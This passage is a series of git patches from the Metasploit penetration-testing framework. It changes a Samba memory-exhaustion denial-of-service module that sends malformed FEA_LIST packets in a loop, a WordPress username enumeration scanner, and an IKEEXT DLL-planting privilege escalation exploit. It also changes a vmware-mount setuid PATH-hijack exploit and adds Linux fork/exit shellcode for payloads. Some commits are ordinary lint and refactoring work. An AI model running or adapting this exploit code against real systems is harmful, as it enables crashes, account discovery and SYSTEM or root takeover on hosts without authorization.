Opt::RHOST(), Opt::RPORT(445), OptString.new('SMBShare', [true, 'Target share', '']), - OptString.new('SMBUser', [false, 'Target share', '']), - OptString.new('SMBPass', [false, 'Target share', '']), ], self.class) end @@ -104,23 +85,15 @@ class Metasploit3 < Msf::Exploit::Remote subcmd = 0x08 self.simple.client.trans2(subcmd, trans.to_s, data.to_s, false) end - def check - return CheckCode::Unknown - end - def exploit - begin - connect() - smb_login() - self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}") + def run + connect() + smb_login() + self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}") - print_status('Sending malicious package...') - send_pkt - print_status('Seems like all ok') - - disconnect() - rescue ::Exception => msg - print_status('exception ' + msg.to_s + 'occured') - end + print_status('Sending malicious package...') + send_pkt + print_status('Seems like all ok') + disconnect() end end From 1839af4b8962b88a6c962e5c8f9762d641ed63a6 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Thu, 29 Aug 2013 07:31:17 +0200 Subject: [PATCH 049/160] check for modified datastore --- tools/msftidy.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/tools/msftidy.rb b/tools/msftidy.rb index 2057bdc169..a03b4a125c 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -381,6 +381,11 @@ class Msftidy no_stdio = false error("Writes to stdout", idx) end + + # do not change datastore in code + if ln =~ /datastore\[["']\w+["']\]\s*=(?![=~>])/ + error("datastore is modified in code: #{ln.inspect}", idx) + end } end From a574b548b2e1776da40bb1b0e6f76128eb224943 Mon Sep 17 00:00:00 2001 From: rbsec Date: Thu, 29 Aug 2013 15:28:46 +0100 Subject: [PATCH 050/160] Updated wordpress_login_enum auxilary module. Update wordoress_login_enum to work when the wordpress site redirects to /author/[authorname]/ rather than displaying the author's name in the page contents. --- modules/auxiliary/scanner/http/wordpress_login_enum.rb | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/modules/auxiliary/scanner/http/wordpress_login_enum.rb b/modules/auxiliary/scanner/http/wordpress_login_enum.rb index aa0ca6f110..c09aecf862 100644 --- a/modules/auxiliary/scanner/http/wordpress_login_enum.rb +++ b/modules/auxiliary/scanner/http/wordpress_login_enum.rb @@ -218,6 +218,12 @@ class Metasploit3 < Msf::Auxiliary if (res and res.code == 301) uri = URI(res.headers['Location']) + if uri.path =~ /\/author\/([[:print:]]+)\// + username = $1 + print_good "#{uri.path} - Found user '#{username}' with id #{i.to_s}" + usernames << username + next + end uri = "#{uri.path}?#{uri.query}" res = send_request_cgi({ 'method' => 'GET', From 921ec615c79a6d268e2a2f2c6751f72df947a6e3 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Thu, 29 Aug 2013 21:35:15 +0200 Subject: [PATCH 051/160] Bugfix --- tools/msftidy.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/msftidy.rb b/tools/msftidy.rb index a03b4a125c..b27921028a 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -383,7 +383,7 @@ class Msftidy end # do not change datastore in code - if ln =~ /datastore\[["']\w+["']\]\s*=(?![=~>])/ + if ln =~ /(?])/ error("datastore is modified in code: #{ln.inspect}", idx) end } From 40e7f45db4c13377d9bd9d71a526684993ad2ebd Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Fri, 30 Aug 2013 16:10:16 +0200 Subject: [PATCH 052/160] another regex fix --- tools/msftidy.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/msftidy.rb b/tools/msftidy.rb index b27921028a..15f704fe26 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -383,7 +383,7 @@ class Msftidy end # do not change datastore in code - if ln =~ /(?])/ + if ln =~ /(?])/ error("datastore is modified in code: #{ln.inspect}", idx) end } From 28ca62d60f8b0fba46d2d4961a5679406553b37c Mon Sep 17 00:00:00 2001 From: Boris Date: Sat, 31 Aug 2013 13:18:22 +0400 Subject: [PATCH 053/160] New option added. Names now random. Dos check added --- .../dos/samba/read_nttrans_ea_list.rb | 37 +++++++++++-------- 1 file changed, 22 insertions(+), 15 deletions(-) diff --git a/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb b/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb index 891e5cb26c..a649e35f16 100644 --- a/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb +++ b/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb @@ -27,8 +27,8 @@ class Metasploit3 < Msf::Auxiliary [ 'uint8', 'Flags', 0x00 ], [ 'uint8', 'NameLen', 0x07 ], # length of Name parameter minus trailing newline [ 'uint16v', 'ValueLen', 0x04 ], #random valuelen with value - [ 'string', 'Name', 7, "dzlnly\x00" ], # Random string must end with '\0' - [ 'string', 'Value', 4, "\x00\x00\x00\x00" ] + [ 'string', 'Name', 7, Rex::Text.rand_text_alpha(6) + "\x00" ], # Random string must end with '\0' + [ 'string', 'Value', nil, "\x00\x00\x00\x00" ] ) def initialize(info = {}) @@ -55,25 +55,25 @@ class Metasploit3 < Msf::Auxiliary Opt::RHOST(), Opt::RPORT(445), OptString.new('SMBShare', [true, 'Target share', '']), + OptString.new('MsgLen', [true, 'How soon a memory get exhausted depends on the length of that attribute', '1500']), ], self.class) end def get_fid - print_status("Try to find any files or directories for setting our attributes...") - files = self.simple.client.find_first("*") - path = "" - ok = self.simple.client.create(path) + ok = self.simple.client.create("/") return ok['Payload'].v['FileID'] end def mk_items_payload item1 = FEA_LIST.make_struct + item2 = FEA_LIST.make_struct + item3 = FEA_LIST.make_struct #Some padding + item2.v['ValueLen'] = item1.v['ValueLen'] = datastore['MsgLen'].to_i + item2.v['Value'] = item1.v['Value'] = "\x00" * datastore['MsgLen'].to_i ilen = item1.to_s.length item1.v['NextOffset'] = ilen - item2 = FEA_LIST.make_struct # Wrap offset to 0x00 item2.v['NextOffset'] = 0xffffffff - ilen + 1 - item3 = FEA_LIST.make_struct #Some padding return item1.to_s + item2.to_s + item3.to_s end def send_pkt @@ -86,14 +86,21 @@ class Metasploit3 < Msf::Auxiliary self.simple.client.trans2(subcmd, trans.to_s, data.to_s, false) end def run - connect() - smb_login() - self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}") + 40.times do + connect() + smb_login() + self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}") - print_status('Sending malicious package...') - send_pkt - print_status('Seems like all ok') + print_status('Sending malicious package...') + send_pkt - disconnect() + begin + self.simple.client.create("") + print_status('Server Responce, DOS unsuccessfull') + rescue Timeout::Error + print_good('Server timed out, this is expected') + end + disconnect() + end end end From 560d38463362070858deddabbbe1a79a894f557f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sat, 31 Aug 2013 23:38:04 -0500 Subject: [PATCH 054/160] Do first modification to Auxiliary::Login and Auxiliary::AuthBrute --- lib/msf/core/auxiliary/auth_brute.rb | 2 -- lib/msf/core/auxiliary/login.rb | 6 +++--- modules/auxiliary/scanner/rservices/rlogin_login.rb | 2 +- modules/auxiliary/scanner/telnet/telnet_login.rb | 2 +- 4 files changed, 5 insertions(+), 7 deletions(-) diff --git a/lib/msf/core/auxiliary/auth_brute.rb b/lib/msf/core/auxiliary/auth_brute.rb index a82f2b89de..b9ddb885f6 100644 --- a/lib/msf/core/auxiliary/auth_brute.rb +++ b/lib/msf/core/auxiliary/auth_brute.rb @@ -93,8 +93,6 @@ module Auxiliary::AuthBrute next if @@credentials_skipped[fq_user] next if @@credentials_tried[fq_user] == p - datastore['USERNAME'] = u.to_s - datastore['PASSWORD'] = p.to_s ret = block.call(u, p) case ret diff --git a/lib/msf/core/auxiliary/login.rb b/lib/msf/core/auxiliary/login.rb index 88012bca00..1224c49e8d 100644 --- a/lib/msf/core/auxiliary/login.rb +++ b/lib/msf/core/auxiliary/login.rb @@ -128,10 +128,10 @@ module Auxiliary::Login false end - def password_prompt? + def password_prompt?(username=nil) return true if(@recvd =~ @password_regex) - if datastore['USERNAME'] - return true if( !(datastore['USERNAME'].empty?) and @recvd =~ /#{datastore['USERNAME']}'s/) + if username + return true if( !(username.empty?) and @recvd =~ /#{username}'s/) end return false end diff --git a/modules/auxiliary/scanner/rservices/rlogin_login.rb b/modules/auxiliary/scanner/rservices/rlogin_login.rb index 7dfdb9585b..ea109cd153 100644 --- a/modules/auxiliary/scanner/rservices/rlogin_login.rb +++ b/modules/auxiliary/scanner/rservices/rlogin_login.rb @@ -264,7 +264,7 @@ class Metasploit3 < Msf::Auxiliary vprint_status("#{rhost}:#{rport} Prompt: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}") # Not successful yet, maybe we got a password prompt. - if password_prompt? + if password_prompt?(user) send_pass(pass) # Allow for slow echos diff --git a/modules/auxiliary/scanner/telnet/telnet_login.rb b/modules/auxiliary/scanner/telnet/telnet_login.rb index 0d513e9654..1217f95296 100644 --- a/modules/auxiliary/scanner/telnet/telnet_login.rb +++ b/modules/auxiliary/scanner/telnet/telnet_login.rb @@ -169,7 +169,7 @@ class Metasploit3 < Msf::Auxiliary vprint_status("#{rhost}:#{rport} Prompt: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}") - if password_prompt? + if password_prompt?(user) send_pass(pass) # Allow for slow echos From 9a33c674aa34a810fb724ddc64c5b26bfcb59fca Mon Sep 17 00:00:00 2001 From: Boris Date: Sun, 1 Sep 2013 22:58:22 +0400 Subject: [PATCH 055/160] RHOST, RPORT removed, Tries option added --- .../auxiliary/dos/samba/read_nttrans_ea_list.rb | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb b/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb index a649e35f16..279d60d3a5 100644 --- a/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb +++ b/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb @@ -25,8 +25,8 @@ class Metasploit3 < Msf::Auxiliary FEA_LIST = Rex::Struct2::CStructTemplate.new( [ 'uint32v', 'NextOffset', 0x00000000], [ 'uint8', 'Flags', 0x00 ], - [ 'uint8', 'NameLen', 0x07 ], # length of Name parameter minus trailing newline - [ 'uint16v', 'ValueLen', 0x04 ], #random valuelen with value + [ 'uint8', 'NameLen', 0x07 ], # Length of Name parameter minus trailing '\0' + [ 'uint16v', 'ValueLen', 0x04 ], # Random valuelen with value [ 'string', 'Name', 7, Rex::Text.rand_text_alpha(6) + "\x00" ], # Random string must end with '\0' [ 'string', 'Value', nil, "\x00\x00\x00\x00" ] ) @@ -52,10 +52,9 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - Opt::RHOST(), - Opt::RPORT(445), OptString.new('SMBShare', [true, 'Target share', '']), OptString.new('MsgLen', [true, 'How soon a memory get exhausted depends on the length of that attribute', '1500']), + OptString.new('Tries', [true, 'Number of DOS tries', '40']), ], self.class) end @@ -67,7 +66,7 @@ class Metasploit3 < Msf::Auxiliary def mk_items_payload item1 = FEA_LIST.make_struct item2 = FEA_LIST.make_struct - item3 = FEA_LIST.make_struct #Some padding + item3 = FEA_LIST.make_struct # Some padding item2.v['ValueLen'] = item1.v['ValueLen'] = datastore['MsgLen'].to_i item2.v['Value'] = item1.v['Value'] = "\x00" * datastore['MsgLen'].to_i ilen = item1.to_s.length @@ -86,7 +85,9 @@ class Metasploit3 < Msf::Auxiliary self.simple.client.trans2(subcmd, trans.to_s, data.to_s, false) end def run - 40.times do + n = datastore['Tries'].to_i; + + n.times do connect() smb_login() self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}") @@ -97,6 +98,7 @@ class Metasploit3 < Msf::Auxiliary begin self.simple.client.create("") print_status('Server Responce, DOS unsuccessfull') + return rescue Timeout::Error print_good('Server timed out, this is expected') end From a23c1f1ad477b5091e74692709e7f50b44427424 Mon Sep 17 00:00:00 2001 From: Boris Date: Tue, 3 Sep 2013 19:34:37 +0400 Subject: [PATCH 056/160] added additional "include" --- modules/auxiliary/dos/samba/read_nttrans_ea_list.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb b/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb index 279d60d3a5..19d4506fe7 100644 --- a/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb +++ b/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb @@ -12,6 +12,7 @@ require 'rex/proto/smb' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB + include Exploit::Remote::SMB::Authenticated UTILS = Rex::Proto::SMB::Utils From a8e77c56bd4dcce4f8b800a7551fa35eb45183f0 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Tue, 3 Sep 2013 22:46:20 +0100 Subject: [PATCH 057/160] Updates --- lib/msf/core/post/windows/accounts.rb | 18 ++++-- .../exploits/windows/local/ikeext_service.rb | 60 ++++++++----------- modules/post/windows/gather/enum_dirperms.rb | 8 +-- 3 files changed, 43 insertions(+), 43 deletions(-) diff --git a/lib/msf/core/post/windows/accounts.rb b/lib/msf/core/post/windows/accounts.rb index 63d3dbf770..5ef3214645 100644 --- a/lib/msf/core/post/windows/accounts.rb +++ b/lib/msf/core/post/windows/accounts.rb @@ -180,7 +180,7 @@ module Accounts # Gets an impersonation token from the primary token. # - # @return [Fixnum] the impersonate token handle identifier if success, 0 if + # @return [Fixnum] the impersonate token handle identifier if success, nil if # fails def get_imperstoken adv = session.railgun.advapi32 @@ -195,7 +195,7 @@ module Accounts if it["return"] #if it fails return 0 for error handling return it["DuplicateTokenHandle"] else - return 0 + return nil end end @@ -213,11 +213,19 @@ module Accounts #define generic mapping structure gen_map = [0,0,0,0] gen_map = gen_map.pack("L") + buffer_size = 500 #get Security Descriptor for the directory - f = adv.GetFileSecurityA(dir, si, 20, 20, 4) - f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4) - sd = f["pSecurityDescriptor"] + f = adv.GetFileSecurityA(dir, si, buffer_size, buffer_size, 4) + if (f['return'] and f["lpnLengthNeeded"] <= buffer_size) + sd = f["pSecurityDescriptor"] + elsif (f['GetLastError'] == 2) + vprint_error("The system cannot find the file specified: #{dir}") + return nil + else + f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4) + end + #check for write access, called once to get buffer size a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8) diff --git a/modules/exploits/windows/local/ikeext_service.rb b/modules/exploits/windows/local/ikeext_service.rb index c72cb6f9bd..37bce0657b 100644 --- a/modules/exploits/windows/local/ikeext_service.rb +++ b/modules/exploits/windows/local/ikeext_service.rb @@ -11,7 +11,7 @@ require 'msf/core/post/windows/services' require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Exploit::Local - Rank = ExcellentRanking + Rank = GoodRanking include Msf::Exploit::EXE include Msf::Exploit::FileDropper @@ -26,8 +26,8 @@ class Metasploit3 < Msf::Exploit::Local 'Description' => %q{ This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring Modules' (IKEEXT) service which runs as SYSTEM, and starts automatically in default - installations of Vista-Win8. Use reverse_http(s) for greater reliability when - attempting to reboot system. It requires an insecure bin path to plant the DLL payload. + installations of Vista-Win8. + It requires an insecure bin path to plant the DLL payload. }, 'References' => [ @@ -66,17 +66,6 @@ class Metasploit3 < Msf::Exploit::Local @non_existant_dirs = [] end - # Current exist? gives false negative when folder does exist. - def exist?(path) - begin - session.fs.dir.entries(path) - return true - rescue - end - - return false - end - def check_service_exists?(service) srv_info = service_info(service) @@ -98,26 +87,26 @@ class Metasploit3 < Msf::Exploit::Local if !check_service_exists?(@service_name) return Exploit::CheckCode::Safe - else - vprint_status(srv_info) - - case srv_info['Startup'] - when 'Disabled' - print_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...") - return Exploit::CheckCode::Safe - when 'Manual' - print_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...") - return Exploit::CheckCode::Safe - when 'Auto' - print_good("Service is set to Automatically start...") - end - - if check_search_path - return Exploit::CheckCode::Safe - end - - return Exploit::CheckCode::Vulnerable end + + vprint_status(srv_info.to_s) + + case srv_info['Startup'] + when 'Disabled' + print_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...") + return Exploit::CheckCode::Safe + when 'Manual' + print_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...") + return Exploit::CheckCode::Safe + when 'Auto' + print_good("Service is set to Automatically start...") + end + + if check_search_path + return Exploit::CheckCode::Safe + end + + return Exploit::CheckCode::Vulnerable end def check_search_path @@ -183,6 +172,7 @@ class Metasploit3 < Msf::Exploit::Local begin client.fs.dir.mkdir(dir) if exist?(dir) + register_file_for_cleanup(dir) return dir end rescue Rex::Post::Meterpreter::RequestError => e @@ -211,7 +201,9 @@ class Metasploit3 < Msf::Exploit::Local begin @token = get_imperstoken rescue ::Exception => e - fail_with(Exploit::Failure::Unknown, "Error while using get_imperstoken: #{e}") + vprint_error("Failed to get token, Exception: #{e}") + ensure + fail_with(Exploit::Failure::Unknown, "Error while using get_imperstoken: #{e}") unless @token end if is_system? diff --git a/modules/post/windows/gather/enum_dirperms.rb b/modules/post/windows/gather/enum_dirperms.rb index 67a2b80ad0..f57b1340e9 100644 --- a/modules/post/windows/gather/enum_dirperms.rb +++ b/modules/post/windows/gather/enum_dirperms.rb @@ -57,7 +57,7 @@ class Metasploit3 < Msf::Post next if d =~ /^(\.|\.\.)$/ realpath = dpath + '\\' + d if session.fs.file.stat(realpath).directory? - perm = check_dir(realpath, token) + perm = check_dir_perms(realpath, token) if perm_filter and perm and perm.include?(perm_filter) print_status(perm + "\t" + realpath) end @@ -91,7 +91,7 @@ class Metasploit3 < Msf::Post t = get_imperstoken() rescue ::Exception => e # Failure due to timeout, access denied, etc. - t = 0 + t = nil vprint_error("Error #{e.message} while using get_imperstoken()") vprint_error(e.backtrace) end @@ -105,7 +105,7 @@ class Metasploit3 < Msf::Post print_status("Checking directory permissions from: #{path}") - perm = check_dir(path, token) + perm = check_dir_perms(path, token) if not perm.nil? # Show the permission of the parent directory if perm_filter and perm.include?(perm_filter) @@ -135,7 +135,7 @@ class Metasploit3 < Msf::Post t = get_token - if t == 0 + unless t print_error("Getting impersonation token failed") else print_status("Got token: #{t.to_s}...") From c687f23b81d037b17d7c869ce0c4185675d36568 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Tue, 3 Sep 2013 22:57:27 +0100 Subject: [PATCH 058/160] Better error handling --- lib/msf/core/post/windows/accounts.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/post/windows/accounts.rb b/lib/msf/core/post/windows/accounts.rb index 5ef3214645..53e2ee64b2 100644 --- a/lib/msf/core/post/windows/accounts.rb +++ b/lib/msf/core/post/windows/accounts.rb @@ -219,14 +219,16 @@ module Accounts f = adv.GetFileSecurityA(dir, si, buffer_size, buffer_size, 4) if (f['return'] and f["lpnLengthNeeded"] <= buffer_size) sd = f["pSecurityDescriptor"] + elsif (f['GetLastError'] == 122) # ERROR_INSUFFICIENT_BUFFER + f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4) elsif (f['GetLastError'] == 2) vprint_error("The system cannot find the file specified: #{dir}") return nil else - f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4) + vprint_error("Unknown error - GetLastError #{f['GetLastError']}: #{dir}") + return nil end - #check for write access, called once to get buffer size a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8) len = a["PrivilegeSetLength"] From 1471a4fceffba3f34d93e91c0795af17d3605c55 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Tue, 3 Sep 2013 23:39:59 +0100 Subject: [PATCH 059/160] Fixes an error in file_dropper where @dropped_files is nil causing an exception to be raised and on_new_session to fail. I have moved super to the top of the chain so it always gets called regardless. --- lib/msf/core/exploit/file_dropper.rb | 62 ++++++++++++++-------------- 1 file changed, 32 insertions(+), 30 deletions(-) diff --git a/lib/msf/core/exploit/file_dropper.rb b/lib/msf/core/exploit/file_dropper.rb index 8923762ec5..04841ece8b 100644 --- a/lib/msf/core/exploit/file_dropper.rb +++ b/lib/msf/core/exploit/file_dropper.rb @@ -20,46 +20,48 @@ module Exploit::FileDropper # @return [void] # def on_new_session(session) + super + if session.type == "meterpreter" session.core.use("stdapi") unless session.ext.aliases.include?("stdapi") end - @dropped_files.delete_if do |file| - win_file = file.gsub("/", "\\\\") - if session.type == "meterpreter" - begin - # Meterpreter should do this automatically as part of - # fs.file.rm(). Until that has been implemented, remove the - # read-only flag with a command. - if session.platform =~ /win/ - session.shell_command_token(%Q|attrib.exe -r #{win_file}|) + if @dropped_files + @dropped_files.delete_if do |file| + win_file = file.gsub("/", "\\\\") + if session.type == "meterpreter" + begin + # Meterpreter should do this automatically as part of + # fs.file.rm(). Until that has been implemented, remove the + # read-only flag with a command. + if session.platform =~ /win/ + session.shell_command_token(%Q|attrib.exe -r #{win_file}|) + end + session.fs.file.rm(file) + print_good("Deleted #{file}") + true + rescue ::Rex::Post::Meterpreter::RequestError + false end - session.fs.file.rm(file) + else + cmds = [ + %Q|attrib.exe -r "#{win_file}"|, + %Q|del.exe /f /q "#{win_file}"|, + %Q|rm -f "#{file}" >/dev/null|, + ] + + # We need to be platform-independent here. Since we can't be + # certain that {#target} is accurate because exploits with + # automatic targets frequently change it, we just go ahead and + # run both a windows and a unixy command in the same line. One + # of them will definitely fail and the other will probably + # succeed. Doing it this way saves us an extra round-trip. + session.shell_command_token(cmds.join(" ; ")) print_good("Deleted #{file}") true - rescue ::Rex::Post::Meterpreter::RequestError - false end - else - cmds = [ - %Q|attrib.exe -r "#{win_file}"|, - %Q|del.exe /f /q "#{win_file}"|, - %Q|rm -f "#{file}" >/dev/null|, - ] - - # We need to be platform-independent here. Since we can't be - # certain that {#target} is accurate because exploits with - # automatic targets frequently change it, we just go ahead and - # run both a windows and a unixy command in the same line. One - # of them will definitely fail and the other will probably - # succeed. Doing it this way saves us an extra round-trip. - session.shell_command_token(cmds.join(" ; ")) - print_good("Deleted #{file}") - true end end - - super end # From 3066e7e19db3381ebc1219f522addc6647c1b480 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Wed, 4 Sep 2013 00:14:10 +0100 Subject: [PATCH 060/160] ReverseConnectRetries ftw --- modules/exploits/windows/local/ikeext_service.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/ikeext_service.rb b/modules/exploits/windows/local/ikeext_service.rb index 37bce0657b..6a69e675d4 100644 --- a/modules/exploits/windows/local/ikeext_service.rb +++ b/modules/exploits/windows/local/ikeext_service.rb @@ -50,7 +50,8 @@ class Metasploit3 < Msf::Exploit::Local 'DefaultOptions' => { 'EXITFUNC' => 'thread', - 'WfsDelay' => '5' + 'WfsDelay' => 5, + 'ReverseConnectRetries' => 255 }, 'DefaultTarget' => 0 )) From b913fcf1a721cc99f192ff1810f1a20acf400014 Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 4 Sep 2013 00:14:59 -0500 Subject: [PATCH 061/160] Add a proper PrependFork for linux Also fixes a typo bug for AppendExit --- lib/msf/core/payload/linux.rb | 42 +++++++++++++++---- modules/exploits/linux/local/vmware_mount.rb | 18 +------- modules/payloads/stages/linux/x64/shell.rb | 1 + .../payloads/stages/linux/x86/meterpreter.rb | 16 ------- modules/payloads/stages/linux/x86/shell.rb | 2 +- 5 files changed, 39 insertions(+), 40 deletions(-) diff --git a/lib/msf/core/payload/linux.rb b/lib/msf/core/payload/linux.rb index e323546128..5f205483fd 100644 --- a/lib/msf/core/payload/linux.rb +++ b/lib/msf/core/payload/linux.rb @@ -19,6 +19,13 @@ module Msf::Payload::Linux register_advanced_options( [ + Msf::OptBool.new('PrependFork', + [ + false, + "Prepend a stub that executes: if (fork()) { exit(0); }", + "false" + ] + ), Msf::OptBool.new('PrependSetresuid', [ false, @@ -97,6 +104,17 @@ module Msf::Payload::Linux # Prepend + if (datastore['PrependFork']) + pre << "\x6a\x02" +# pushb $0x2 # + "\x58" +# popl %eax # + "\xcd\x80" +# int $0x80 ; fork # + "\x85\xc0" +# test %eax,%eax # + "\x74\x06" +# jz 0xf # + "\x31\xc0" +# xor %eax,%eax # + "\xb0\x01" +# movb $0x1,%al ; exit # + "\xcd\x80" # int $0x80 # + end + if (datastore['PrependSetresuid']) # setresuid(0, 0, 0) pre << "\x31\xc9" +# xorl %ecx,%ecx # @@ -197,10 +215,8 @@ module Msf::Payload::Linux "\xcd\x80" # int $0x80 # end - end - # Handle all Power/CBEA code here - if (test_arch.include?([ ARCH_PPC, ARCH_PPC64, ARCH_CBEA, ARCH_CBEA64 ])) + elsif (test_arch.include?([ ARCH_PPC, ARCH_PPC64, ARCH_CBEA, ARCH_CBEA64 ])) # Prepend @@ -277,9 +293,21 @@ module Msf::Payload::Linux "\x38\x1f\xfe\x02" +# addi r0,r31,-510 # "\x44\xff\xff\x02" # sc # end - end - if (test_arch.include?(ARCH_X86_64)) + elsif (test_arch.include?(ARCH_X86_64)) + + if (datastore['PrependFork']) + # if (fork()) { exit(0); } + pre << "\x6a\x39" # push 57 ; __NR_fork # + pre << "\x58" # pop rax # + pre << "\x0f\x05" # syscall # + pre << "\x48\x85\xc0" # test rax,rax # + pre << "\x74\x08" # jz 0x08 # + pre << "\x48\x31\xff" # xor rdi,rdi # + pre << "\x6a\x3c" # push 60 ; __NR_exit # + pre << "\x58" # pop rax # + pre << "\x0f\x05" # syscall # + end if (datastore['PrependSetresuid']) # setresuid(0, 0, 0) @@ -389,8 +417,8 @@ module Msf::Payload::Linux # Append exit(0) if (datastore['AppendExit']) app << "\x48\x31\xff" # xor rdi,rdi # - pre << "\x6a\x3c" # push 0x53 # - pre << "\x58" # pop rax # + app << "\x6a\x3c" # push 0x3c # + app << "\x58" # pop rax # app << "\x0f\x05" # syscall # end end diff --git a/modules/exploits/linux/local/vmware_mount.rb b/modules/exploits/linux/local/vmware_mount.rb index db3e9d1bab..ba83daba19 100644 --- a/modules/exploits/linux/local/vmware_mount.rb +++ b/modules/exploits/linux/local/vmware_mount.rb @@ -43,6 +43,7 @@ class Metasploit4 < Msf::Exploit::Local 'DefaultOptions' => { "PrependSetresuid" => true, "PrependSetresgid" => true, + "PrependFork" => true, }, 'Privileged' => true, 'DefaultTarget' => 0, @@ -73,22 +74,7 @@ class Metasploit4 < Msf::Exploit::Local fail_with(Failure::NotVulnerable, "vmware-mount doesn't exist or is not setuid") end - # Ghetto PrependFork action which is apparently only implemented for - # Meterpreter. - # XXX Put this in a mixin somewhere - # if(fork()) exit(0); - # 6A02 push byte +0x2 - # 58 pop eax - # CD80 int 0x80 ; fork - # 85C0 test eax,eax - # 7406 jz 0xf - # 31C0 xor eax,eax - # B001 mov al,0x1 - # CD80 int 0x80 ; exit - exe = generate_payload_exe( - :code => "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x06\x31\xc0\xb0\x01\xcd\x80" + payload.encoded - ) - write_file("lsb_release", exe) + write_file("lsb_release", generate_payload_exe) cmd_exec("chmod +x lsb_release") cmd_exec("PATH=.:$PATH /usr/bin/vmware-mount") diff --git a/modules/payloads/stages/linux/x64/shell.rb b/modules/payloads/stages/linux/x64/shell.rb index 8ab03efa17..cad0c23729 100644 --- a/modules/payloads/stages/linux/x64/shell.rb +++ b/modules/payloads/stages/linux/x64/shell.rb @@ -11,6 +11,7 @@ require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' module Metasploit3 + include Msf::Payload::Linux include Msf::Sessions::CommandShellOptions def initialize(info = {}) diff --git a/modules/payloads/stages/linux/x86/meterpreter.rb b/modules/payloads/stages/linux/x86/meterpreter.rb index d83583fec3..45ded3f7a9 100644 --- a/modules/payloads/stages/linux/x86/meterpreter.rb +++ b/modules/payloads/stages/linux/x86/meterpreter.rb @@ -24,7 +24,6 @@ module Metasploit3 'Session' => Msf::Sessions::Meterpreter_x86_Linux)) register_options([ - OptBool.new('PrependFork', [ false, "Add a fork() / exit_group() (for parent) code" ]), OptInt.new('DebugOptions', [ false, "Debugging options for POSIX meterpreter", 0 ]) ], self.class) end @@ -71,21 +70,6 @@ module Metasploit3 midstager = "\x81\xc4\x54\xf2\xff\xff" # fix up esp - if(datastore['PrependFork']) - # fork() / parent does exit() - - # If the target process is threaded, this means the thread - # will exit. exit_group() will try to close the process down - # completely.. and if we do that, it may not be reaped - # correctly. - # - # Plus, depending on the vuln, we might get multiple shots at - # owning a finite amount of threads. - - midstager << - "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x06\x31\xc0\xb0\x01\xcd\x80" - end - midstager << "\x6a\x04\x5a\x89\xe1\x89\xfb\x6a\x03\x58" + "\xcd\x80\x57\xb8\xc0\x00\x00\x00\xbb\x00\x00\x04\x20\x8b\x4c\x24" + diff --git a/modules/payloads/stages/linux/x86/shell.rb b/modules/payloads/stages/linux/x86/shell.rb index c4a1a98d6d..b1af987e14 100644 --- a/modules/payloads/stages/linux/x86/shell.rb +++ b/modules/payloads/stages/linux/x86/shell.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' module Metasploit3 - + include Msf::Payload::Linux include Msf::Sessions::CommandShellOptions def initialize(info = {}) From 94125a434b76bf0043d30d8b6e15cd4d4b168c9d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 4 Sep 2013 15:57:22 -0500 Subject: 